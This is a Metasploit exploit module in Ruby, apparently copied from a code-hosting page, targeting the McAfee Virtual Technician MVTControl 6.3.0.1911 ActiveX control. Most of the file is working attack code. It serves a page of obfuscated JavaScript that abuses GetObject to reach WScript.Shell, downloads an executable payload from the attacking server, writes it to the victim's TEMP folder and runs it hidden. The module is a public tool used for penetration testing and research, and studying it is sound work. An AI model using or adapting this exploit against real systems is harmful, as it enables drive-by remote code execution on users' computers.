120 lines
2.9 KiB
Ruby
120 lines
2.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
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'Description' => %q{
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This modules exploits a vulnerability found in McAfee Virtual Technician's
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MVTControl. This ActiveX control can be abused by using the GetObject() function
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to load additional unsafe classes such as WScript.Shell, therefore allowing remote
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code execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod', #Initial discovery, Poc
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '81657'],
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[ 'EDB', '18805' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "none",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 30 2012",
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'DefaultTarget' => 0))
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end
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def exploit
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@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
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super
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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if agent !~ /MSIE \d/
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print_error("Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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if request.uri =~ /\.exe$/
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return if ((p=regenerate_payload(cli))==nil)
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data = generate_payload_exe({:code=>p.encoded})
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print_status("Sending payload")
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send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
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return
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end
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# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
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js = <<-JS
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var obj = new ActiveXObject("MVT.MVTControl.6300");
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var ws = obj.GetObject("WScript.Shell");
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var ado = obj.GetObject("ADODB.Stream");
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var e = ws.Environment("Process");
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var url = document.location + "/#{@payload_name}";
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var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";
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var xml = new ActiveXObject("Microsoft.XMLHTTP");
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xml.open("GET", url, false);
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xml.send(null);
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res = xml.responseBody;
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ado.Type = 1;
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ado.Mode = 3;
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ado.Open();
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ado.Write(res);
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ado.SaveToFile(tmp);
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ws.Run(tmp, 0);
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JS
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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html = <<-EOS
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<html>
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<head>
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</head>
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<body>
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<script defer=defer>
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#{js}
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</script>
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</body>
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</html>
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EOS
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end |